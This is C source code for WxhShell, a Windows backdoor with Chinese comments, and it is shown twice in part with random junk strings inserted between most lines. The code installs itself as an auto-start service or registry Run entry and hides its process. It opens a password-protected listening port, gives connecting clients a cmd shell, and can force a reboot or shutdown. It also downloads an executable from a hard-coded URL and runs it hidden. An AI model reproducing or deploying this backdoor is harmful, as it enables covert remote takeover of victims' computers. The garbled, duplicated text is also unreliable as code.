,H PROCESS_BASIC_INFORMATION pbi; #:}mi;{ (Z at|R.F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hE}y/A[ if(NULL == hInst ) return 0; 9I*`~il>{ `'/1Ij+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >twog}% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6g%~~hX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,\0>d}eh! F;)qM|7
if (!NtQueryInformationProcess) return 0; bODyJ7=[ z irnur1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _qq>-{-Ym if(!hProcess) return 0; L
^{C4}x= NPE7AdB8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K7]IAV lX%e CloseHandle(hProcess); >D*%1LH~V ,HfdiGs}j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R ;3!?` if(hProcess==NULL) return 0; -5Ln3\ O@ !i?aRI/6 HMODULE hMod; ,L^ag&!4 char procName[255]; &8QkGUbS< unsigned long cbNeeded; j'nrdr6n j+NpQ}t: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !9. `zW"40 ;2iDa CloseHandle(hProcess); ]d50J@W
c ?E.MP7Y#V if(strstr(procName,"services")) return 1; // 以服务启动 A>QAR)YP -bQi4 return 0; // 注册表启动 Zi ;7.P qL } VyxX5Lrj F=~LVaF/_ // 主模块 TvwkeOS#}7 int StartWxhshell(LPSTR lpCmdLine) qM:*!Aq0g { A,! YXl[ SOCKET wsl; bDM;7fFp$ BOOL val=TRUE; :V:siIDn int port=0; 5D`!Tu3 struct sockaddr_in door; #F6!x3Z =fy'w3m if(wscfg.ws_autoins) Install(); d/xGo[?$ !eGUiE= port=atoi(lpCmdLine); Ihg1%.^V\ y_N h5 if(port<=0) port=wscfg.ws_port; *|&&3&7 o9AwW WSADATA data; ~MLBO if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x @uowx_&m ?4MZT5 . if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1|xo4fmV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,ko0XQBl door.sin_family = AF_INET; _XUDPC(*qz door.sin_addr.s_addr = inet_addr("127.0.0.1"); /7p1y v door.sin_port = htons(port); w.R2' WR BZAF;j if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m15> ^i^W closesocket(wsl); wGAeOD return 1; m$bDWxm#e } q
OX=M s.j cD if(listen(wsl,2) == INVALID_SOCKET) { m0+'BC{$u closesocket(wsl); tY6QhhuS: return 1; T{mIkp< } Cw]bhaG
g Wxhshell(wsl); ThJ`-Ro WSACleanup(); ^<QF*! "BD$-] return 0; 4+4C0/$Y +}.S:w_xQ } ,S\AUUt% \:`-"Ou(* // 以NT服务方式启动
^U0)iz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :ej`]yK | { e[*%tx H DWORD status = 0; m005*>IY DWORD specificError = 0xfffffff; `ls^fnJTpf y`p(}X`> serviceStatus.dwServiceType = SERVICE_WIN32; &U0Y#11Cx serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5qQ\ H} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F@Cxjz serviceStatus.dwWin32ExitCode = 0; "IKbb7x serviceStatus.dwServiceSpecificExitCode = 0; C#D8
E.W serviceStatus.dwCheckPoint = 0; anxwK47 serviceStatus.dwWaitHint = 0; Lt\=E8&rh Qvhz$W[P> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7F
1nBd if (hServiceStatusHandle==0) return; <Z\j#p: B*T;DE status = GetLastError(); XI58Cy*! if (status!=NO_ERROR) =E4~/F}9/T { b{hdEb serviceStatus.dwCurrentState = SERVICE_STOPPED; i@hW" [A serviceStatus.dwCheckPoint = 0; C{P:1ELYXH serviceStatus.dwWaitHint = 0; W"ldQ serviceStatus.dwWin32ExitCode = status; p28=l5y+ serviceStatus.dwServiceSpecificExitCode = specificError; g"Gj8QLDz SetServiceStatus(hServiceStatusHandle, &serviceStatus); |aMeh;X t return; `w/b];e1) } D./3,z
2&d|L|-> serviceStatus.dwCurrentState = SERVICE_RUNNING; P_Ni
5s) serviceStatus.dwCheckPoint = 0; BewJ!,A! serviceStatus.dwWaitHint = 0; +n&9ZCH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }ec3qZ@ } <J.-fZS% E.+BqWZ! // 处理NT服务事件,比如:启动、停止 $ J)2E g VOID WINAPI NTServiceHandler(DWORD fdwControl) <)ltvo( { T~b6Zu6 switch(fdwControl) #CTHCwYo { /eNDv(g)M case SERVICE_CONTROL_STOP: qASV\
<n serviceStatus.dwWin32ExitCode = 0; GMQKR,6VM serviceStatus.dwCurrentState = SERVICE_STOPPED; B{\qYL/~ serviceStatus.dwCheckPoint = 0; gWpG-RL0 serviceStatus.dwWaitHint = 0;
T6N~L~J { g.d~`R@v SetServiceStatus(hServiceStatusHandle, &serviceStatus); qhqqCVrsW } m. "T3K return; El4SL'E@ case SERVICE_CONTROL_PAUSE: BhC>G2 ^7 serviceStatus.dwCurrentState = SERVICE_PAUSED; Spt;m0W90 break; +W[NgUrGJ case SERVICE_CONTROL_CONTINUE: mr\C
serviceStatus.dwCurrentState = SERVICE_RUNNING; [3fmhc break; l~*D
jr~ case SERVICE_CONTROL_INTERROGATE: ]Wdnr1d~8 break; <^Sp4J }; <n{-&;> SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;LE9w^>^V } >}'WL($5U W@FRKDixG // 标准应用程序主函数 ~Op~~
m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |]'0z0> { SQJ
}$#= U<jAZU[L // 获取操作系统版本 Gfy9?sa OsIsNt=GetOsVer(); c},wW@SF2W GetModuleFileName(NULL,ExeFile,MAX_PATH); 6P U]I+ m.2=,,r<Fq // 从命令行安装 %Tm8sQ)1 if(strpbrk(lpCmdLine,"iI")) Install(); B7ty*)i? ISALR{Aq // 下载执行文件 Z@ZSn0 if(wscfg.ws_downexe) { \:|"qk if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @w{"6xc%a WinExec(wscfg.ws_filenam,SW_HIDE); &JHqUVs^ } ypV>* '7(oCab"_ if(!OsIsNt) { *nc9u" // 如果时win9x,隐藏进程并且设置为注册表启动 $KMxq= HideProc(); lz88//@gZ StartWxhshell(lpCmdLine); b?deZ2"L# } .U9A\$ else J'#R9NO< if(StartFromService()) vD'YLn%Q // 以服务方式启动 Gn}^BJN StartServiceCtrlDispatcher(DispatchTable); mdy+ >e< else 0$\
j // 普通方式启动 I4\
c+f9 StartWxhshell(lpCmdLine); Qa-~x8 ] E{W(5.kb;i return 0; ]?A-D,!( } +L\bg|; ! j-JMa? Mv#\+|p 1x tX
3y{W10" =========================================== A&/VO$Y9wp IBSoAL mj_V6`m4 w6FVSU]sY c!HmZ]/ mH)th7 " z;+LU6V {H[3[ #include <stdio.h> "?SR+;Y:q #include <string.h> UVj1nom #include <windows.h> -P[bA0N, #include <winsock2.h> "pW@[2Dkx/ #include <winsvc.h> $1bx\
#include <urlmon.h> ->Bx>Y !p$k<?WX c #pragma comment (lib, "Ws2_32.lib") F|&=\Q #pragma comment (lib, "urlmon.lib") (X( c.Jj <Z^qBM #define MAX_USER 100 // 最大客户端连接数 ztHEXM. #define BUF_SOCK 200 // sock buffer ~zD*=h2C #define KEY_BUFF 255 // 输入 buffer 7R5!(g
(043G[H'. #define REBOOT 0 // 重启 F,>-+~L= #define SHUTDOWN 1 // 关机 tDwj~{a~ A.@Af+ #define DEF_PORT 5000 // 监听端口 rJqRzF{|P6 8jz[;.jP", #define REG_LEN 16 // 注册表键长度 9d1 Gu" #define SVC_LEN 80 // NT服务名长度 7UA|G2Zr j3yz"-53e // 从dll定义API ZK8I f?SD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cv;\cI"& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ga+Z6|t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w\2yippI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qk=0ovUzg tF=Y3W+L // wxhshell配置信息 ? =a, struct WSCFG { 2<GN+Wv[# int ws_port; // 监听端口
Jk3V]u char ws_passstr[REG_LEN]; // 口令 !-Br? int ws_autoins; // 安装标记, 1=yes 0=no j~VHU89 char ws_regname[REG_LEN]; // 注册表键名 `.F+T)G char ws_svcname[REG_LEN]; // 服务名 PML+$ char ws_svcdisp[SVC_LEN]; // 服务显示名 j+7ok 5J# char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?)V}_%fVv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yNkE> int ws_downexe; // 下载执行标记, 1=yes 0=no kFsq23Ne char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U**v'%{s char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B@@j- Th(F^W9 }; Eh*t;J=O Yvbk[Rb // default Wxhshell configuration <;.->73E struct WSCFG wscfg={DEF_PORT, PZsq9;P$ "xuhuanlingzhe", I7/X6^/} 1, /'g"Ys?3 "Wxhshell", y.m;4(( "Wxhshell", UOtrq=y "WxhShell Service", {%Ujp9i "Wrsky Windows CmdShell Service", I'%(f@u~ "Please Input Your Password: ", D"RxI)"HP 1, ~A =?_ 5kJ "http://www.wrsky.com/wxhshell.exe", SP
|R4*KY "Wxhshell.exe" 'YUx&FcM }; sM8 AORd vhaUV#V" // 消息定义模块 zgR@-OtFZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }2-p=Y:6 char *msg_ws_prompt="\n\r? for help\n\r#>"; *UlL\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VG+WVk char *msg_ws_ext="\n\rExit."; Up|>)WFw" char *msg_ws_end="\n\rQuit."; | *J-9 char *msg_ws_boot="\n\rReboot..."; #v QyECf char *msg_ws_poff="\n\rShutdown..."; }4M4D/= char *msg_ws_down="\n\rSave to "; C;_*vi2u )ls<"WTC. char *msg_ws_err="\n\rErr!"; )TFBb\f>v char *msg_ws_ok="\n\rOK!"; Q0cr^24/ 6
SosVE>Z char ExeFile[MAX_PATH]; q|fZdTw int nUser = 0; ]\_T HANDLE handles[MAX_USER]; K9+C3"*I int OsIsNt; ,BCo/j +m8gS;'R4 SERVICE_STATUS serviceStatus; N>J"^ GX SERVICE_STATUS_HANDLE hServiceStatusHandle; ~0~f m;]glAtt // 函数声明 ,J0BG0jB^u int Install(void); wRi` L7 int Uninstall(void); j/9Uf|z-_ int DownloadFile(char *sURL, SOCKET wsh); K@PQLL#yJp int Boot(int flag); :x<'>)6 void HideProc(void); kW=GFj)L int GetOsVer(void); r+WY7'c int Wxhshell(SOCKET wsl); >S:>_&I`I void TalkWithClient(void *cs); o>' 1ct int CmdShell(SOCKET sock); ]{<`W5b/ int StartFromService(void); ]2Q:&T int StartWxhshell(LPSTR lpCmdLine); yHL5gz@k }7H8Y}m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3h|:ew[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); bkgJz+u P5*~Wi` // 数据结构和表定义 Ydr/ T/1 SERVICE_TABLE_ENTRY DispatchTable[] = xE4iey@\} { *4tJ|m6"Y6 {wscfg.ws_svcname, NTServiceMain}, ~yvOR`2Gg {NULL, NULL} i@C$O.m( }; D/&^Y'|T <
<vE . // 自我安装 lV0\UySH int Install(void) NHCdf* { -OS&(7 char svExeFile[MAX_PATH]; k'K&GF1B HKEY key; '`*{ig strcpy(svExeFile,ExeFile); Pkbx/\ oe:@7stG // 如果是win9x系统,修改注册表设为自启动 @!:~gQ if(!OsIsNt) { 2AAZZx +$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { De(\<H# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hi 1@ RegCloseKey(key); E\(dyq/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _IOt(Zb( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lc71Pp> RegCloseKey(key); BWct0= return 0; E .kjYIH8 } uWYI p\NN } xjOj1Hv } MxY~(TVPK else { -U?Udmov Eo$7W5hJ // 如果是NT以上系统,安装为系统服务 %Hk9.1hn5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x}W,B,q if (schSCManager!=0) %\
i 7 { ZgcJxWC< SC_HANDLE schService = CreateService OeuM9c{ ( WUM&Lq
k" schSCManager, %U&O
\GB wscfg.ws_svcname, 4X@
<PX5 wscfg.ws_svcdisp, 0z2A!a p SERVICE_ALL_ACCESS, <J`",h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3K/32Wi SERVICE_AUTO_START, d_j%
,1-# SERVICE_ERROR_NORMAL, /-qSYS( svExeFile, `N_elf://n NULL, )Qe4J0. NULL, Nd.+Rs NULL, gJ_{V;R NULL, -Cjc~{B>7X NULL 2Qqk?;^1 ); H+`s#'(i_P if (schService!=0) 3TRzDE(J { zqDIwfW CloseServiceHandle(schService); gNdEPaaFI CloseServiceHandle(schSCManager); 2FxrMCC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G k9Y{ strcat(svExeFile,wscfg.ws_svcname); tSVN}~1\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,m-z D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?mJNzHrq; RegCloseKey(key); ymdZ#I- return 0; $r`^8/Mq3 } JC~L!)f } j9@7\N< CloseServiceHandle(schSCManager); 0,a;N%K- } 0^41dfdE }
G[}$s7@k [i18$q5D return 1; prvvr;Ib } (j^Qa~{mG4 =/Ob
kVYf // 自我卸载
`.dX@< int Uninstall(void) M^c`j#NQ { B>&Q]J+R HKEY key; uT'}_2=: la7VeFT if(!OsIsNt) { }Fd4;
] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tiZ5
:^$b4 RegDeleteValue(key,wscfg.ws_regname); ^t&S?_DSZ RegCloseKey(key); Q ke8BRBn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bb5|+bP RegDeleteValue(key,wscfg.ws_regname); t6GL/M4 RegCloseKey(key); )[d?&GK return 0;
gOpi> } v+.
n9 } /;7\HZ$@/ } 'D ,efTq else { d
NQ?8P-& Yj/aa0Ka4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *=Ko"v
} if (schSCManager!=0) vUEG0{8l { t$NK{Mw5_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /gkHV3}fu if (schService!=0) e>zCzKK { EZy:_xjZ if(DeleteService(schService)!=0) { AJ_''%$I3: CloseServiceHandle(schService); Zj@k3y CloseServiceHandle(schSCManager); Arg604V3 return 0; ~)\9f 1O{^ } A"(XrL-pV CloseServiceHandle(schService); 9yU(ei:GUo } b&AGVWhh CloseServiceHandle(schSCManager); `mar-r_m } <L4.* } = GN1l[X 3/rEXKS return 1; 0p"l}Fu@` } y0!-].5UH d5zv8?|X+ // 从指定url下载文件 snPM& int DownloadFile(char *sURL, SOCKET wsh) xq`mo { N/wU P HRESULT hr; dNH6%1(s]0 char seps[]= "/"; VRuY8<E char *token; bC_qoI< char *file; K(&I8vAp char myURL[MAX_PATH]; KIY/nu
char myFILE[MAX_PATH]; tPv3nh en6Kdqe strcpy(myURL,sURL); 5Lmhip token=strtok(myURL,seps); pKeK6K\8 while(token!=NULL)
-&N^S? { <gvuCydsh file=token; ( v<l9}! token=strtok(NULL,seps); eIZ7uSl } <>=A6 }e/#dMEi GetCurrentDirectory(MAX_PATH,myFILE); %sd1`1In strcat(myFILE, "\\"); N_3$B= strcat(myFILE, file); ZDMv8BP7 send(wsh,myFILE,strlen(myFILE),0); Ri[ v(Zf send(wsh,"...",3,0); DRp h?V\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mnj\t3: if(hr==S_OK) iLQFce7d|& return 0; L#t^:% else $ z4JUr!m return 1; 5k%GjT U/hf?T; } ( (.b& O!uZykdX4! // 系统电源模块 K fM6(f: int Boot(int flag) I},]Y~Y3 { R^v-%mG9 HANDLE hToken; T;7=05k<_ TOKEN_PRIVILEGES tkp; 1!(Og~#( `^:>sU if(OsIsNt) { ;iol 2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 29a~B<e7s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &@g~o0 tkp.PrivilegeCount = 1; 79m',9{u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Jh=7wx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jXa;ovPK if(flag==REBOOT) { {..6{~L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Alo;kt@x return 0; w'[^RZW:j } 8C,}nh else { V/p+Xv(Zt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c(@(j8@S return 0; xqZZ(jZ } &c?q#-^)\+ } [-ONs else { 2p^Jqp`$ if(flag==REBOOT) { 6]%SSq& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,,FO6+4f return 0; wwvS05=[T } ,@\$PyJ else { bD2):U*Fzo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &ikPa ,A return 0; D^_]x51> } B//2R)HS } 0|Rt[qwKb@ EgE%NY~ return 1; 'P AIh*qA } !6`pq n]%T>\gw // win9x进程隐藏模块 5`_UIYcI void HideProc(void) "YC5viX { 9$
VudE>; TnuaP'xZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g!QX#_~Il if ( hKernel != NULL ) b0(bL_, { `>HM<Nn-0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @IXvp3r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "dkDT7 FreeLibrary(hKernel); /JqNiqvh } >'eY/>n{ \GF9;N}V return; (BT{\|,V_m } o4.?m6d h!~Qyb>W // 获取操作系统版本 v=pkze int GetOsVer(void) bZ5cKQ\6 { 6E^h#Ozl
9 OSVERSIONINFO winfo; :@~Nszlb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YcRo>:I GetVersionEx(&winfo); GLBzlZ? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {uCXF~v return 1; Eo)
#t{{ else De<kkR{4 return 0; d`w3I`P1 } 'K!u}py gN/kNck // 客户端句柄模块 IYG,nt! int Wxhshell(SOCKET wsl) o8RVmOXe { L*(!P4S%} SOCKET wsh; 1B0+dxN` struct sockaddr_in client; %2I >0 DWORD myID; j}`XF?2D <rKfL`8p while(nUser<MAX_USER) FjU
-t/ { a>o]garB+ int nSize=sizeof(client); EGL7z`nt wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MnPk+eNJm if(wsh==INVALID_SOCKET) return 1; yq=rv$.s |34M.YjA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5/E7@h , if(handles[nUser]==0) 2lu A F2 closesocket(wsh); %a=^T?8 else it.'.aK4 nUser++; *[|a$W } 8[B0[2O WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BO%aCK& Y& p
~8 return 0; Hob n{E } 4!U)a lf9mdbm // 关闭 socket }m -A #4. void CloseIt(SOCKET wsh) Lz/{
q6> { p Lwtm@ closesocket(wsh); olxnQYFo nUser--; PK&\pkX ExitThread(0); 4(D1/8 } "*T4%3dA 2v\<MrL // 客户端请求句柄 lD-HQd void TalkWithClient(void *cs) s#p\ r {
/D>G4PP< n8.Tag(# SOCKET wsh=(SOCKET)cs; K/l*Saj char pwd[SVC_LEN]; $/FL)m8.3 char cmd[KEY_BUFF]; S\S31pYT char chr[1]; 6k6}SlN[ int i,j; 0%
zy 6{ #zed8I:w while (nUser < MAX_USER) { T1U8ZEK<iu |44 E:pA if(wscfg.ws_passstr) { Koi-b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9>-]*7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DyCnL@ //ZeroMemory(pwd,KEY_BUFF); >9+h2B
i=0; (hi{i while(i<SVC_LEN) { )qeed-{ WzqYBa // 设置超时 oU/{<gs fd_set FdRead; w{"ro~9o struct timeval TimeOut; 18WJ*q7: FD_ZERO(&FdRead); K}(@Ek FD_SET(wsh,&FdRead); w!rw% TimeOut.tv_sec=8; <3fY,qw TimeOut.tv_usec=0; 9#:B_?e= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5_+pgJL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D16w!Mnz{K Ve[[J"ze if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m:)sUC0 pwd=chr[0]; j58'P 5N if(chr[0]==0xd || chr[0]==0xa) { aflBDo1c pwd=0; jAxrU break; *[+{KJ } nU,~*Us i++; ^0g!,L } l&_PsnU ]T; // 如果是非法用户,关闭 socket l\_81oZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]-{A"tJ } m9mkZ:r(kV 4XgzNwm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f/vsf&^O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .c]@xoC I\<)9`O while(1) { $6~t|[7:%Y 6^sH3=# ZeroMemory(cmd,KEY_BUFF); i'3)5 b6d}<b9# // 自动支持客户端 telnet标准 7qLB 9r j=0; M-/2{F[ while(j<KEY_BUFF) { #]*]qdQWV^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sf Zb$T
J cmd[j]=chr[0]; >^GAfvW if(chr[0]==0xa || chr[0]==0xd) { "V<WC" cmd[j]=0;
NArr2o2 break; xp
F(de } W.^R/s8O%5 j++; T-y5U}, } P*/ig0_fM 9;ie[sU:u // 下载文件 fbW<c`L H if(strstr(cmd,"http://")) { ]VoJ7LoCZ' send(wsh,msg_ws_down,strlen(msg_ws_down),0); "J{A}g[ if(DownloadFile(cmd,wsh)) [8'^" send(wsh,msg_ws_err,strlen(msg_ws_err),0); NL-V",gI-~ else Y'Yu1mH) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Bp>*MR/". } +R',$YzD else { w"q^8"j! ss4YeZa switch(cmd[0]) { E&;;2 XB<Q A>dLh // 帮助 P=m
l;xp case '?': { 9)$gD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H`nd | break; *})Np0k } !X\aZ{}Q // 安装 dZ x case 'i': { ->'xjD if(Install()) '[p0+5*x send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Zg4JQ~ else ,VZ<r5NT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +@dgHDJ break; wg^'oy } km29]V=} // 卸载 k1fX-2H case 'r': { TTJj=KPA if(Uninstall()) 3Qd%`k send(wsh,msg_ws_err,strlen(msg_ws_err),0); cd;~60@K else bd&Nf2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NdB:2P break; ,S?M;n?z_ } ]Y3s5#n // 显示 wxhshell 所在路径 jZ0/@zOf case 'p': { 2XrYm"6w char svExeFile[MAX_PATH]; &R3#? 1, strcpy(svExeFile,"\n\r"); r85j/YK strcat(svExeFile,ExeFile); #kp+e)F send(wsh,svExeFile,strlen(svExeFile),0); o`.5NUn break; %$F_oO7" } X<d`!,bn@
// 重启 #zg"E< case 'b': { (H-kWT send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BOme`0A if(Boot(REBOOT)) ?>q5Abp[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm]\.ZEy else { 8aI^vP"7`= closesocket(wsh); 9`Xr7gmQf ExitThread(0); DI=?{A } .50ql[En break; [fg-"-+:M } g:?p/L // 关机 -*;JUSGh case 'd': { 5}:`CC2,S~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qb@i_SX(fs if(Boot(SHUTDOWN)) ^4=%~Yx send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3J12+~; else { <%m$
V5h closesocket(wsh); ZL'krV ExitThread(0); Rw|P$dbu } |H;+9( break; s,~g| I\ } h"dn:5G:= // 获取shell Na<);Pg case 's': { Mh=j^ [4Q CmdShell(wsh); yUvn h closesocket(wsh); 0A F}wz> ExitThread(0); 6Ok]E` break; lbC9^~T+ } x<=R?4@rq // 退出 g5t`YcL case 'x': { .}n\c%& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |9]_<X[ic CloseIt(wsh); Ie/dMB=t break; ;ibOd~ } T]2= // 离开 0xc|Wn> case 'q': { T=VBKaSbU send(wsh,msg_ws_end,strlen(msg_ws_end),0); [#;CBs5o closesocket(wsh); Q:j)F|uhc WSACleanup(); O |*-J exit(1); t>eeOWk3 break; Tb!jIe } 7Jn%c<s } %jxeh.B3B } 5RR4jX] ~c@@m\C"b // 提示信息 qb+Gjgp if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g])iU9)8 } ,OBJ>_5 } .DHQJ|J-1 0HDL;XY6 return; B:(a?X-7 } z,(.` %h n"f:6|< // shell模块句柄 j>#ywh*A int CmdShell(SOCKET sock) 6!v$"u|[!' { vAfYONU STARTUPINFO si; nTr{D&JS ZeroMemory(&si,sizeof(si)); ;8yEhar si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "8/BVW^bv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uuYeXI; PROCESS_INFORMATION ProcessInfo; "6>+IF char cmdline[]="cmd"; 6@Ir|o CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B4x@{rtER return 0; d bHxc@H } L4v26*P J6Nhpzp // 自身启动模式 &[_D'jm+S0 int StartFromService(void) U|+c&TY { 64t: typedef struct oq2-)F2/ { "]U_o<V DWORD ExitStatus; 8j}o\!H DWORD PebBaseAddress; 4c@_u8 DWORD AffinityMask; 1:Wl/9mL DWORD BasePriority; K1zH\wH ULONG UniqueProcessId; q:9CFAX0= ULONG InheritedFromUniqueProcessId; .yQ< } PROCESS_BASIC_INFORMATION; EKNmXt1
lE N[;R8SP PROCNTQSIP NtQueryInformationProcess; E6fs& 6\xfoy|j static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S.!K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @P<aTRy,f #&ayWef HANDLE hProcess; pV/5w<_x? PROCESS_BASIC_INFORMATION pbi; `IJTO_ 6yd?xeD HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vPD%5AJN if(NULL == hInst ) return 0; `+@r0:G&v
>)VWXv0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x| r# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .qrS[ w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G' mg-{ na_Wp^; if (!NtQueryInformationProcess) return 0; t""d^a#Dp yQ| V7G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E51S#T if(!hProcess) return 0; yHn8t]{ qE M,~:lTn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G!7A]s>C petq6)g? CloseHandle(hProcess); p$a+?5'Q >f(M5v(D\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q>[}JtXK if(hProcess==NULL) return 0; (Ji=fh+ 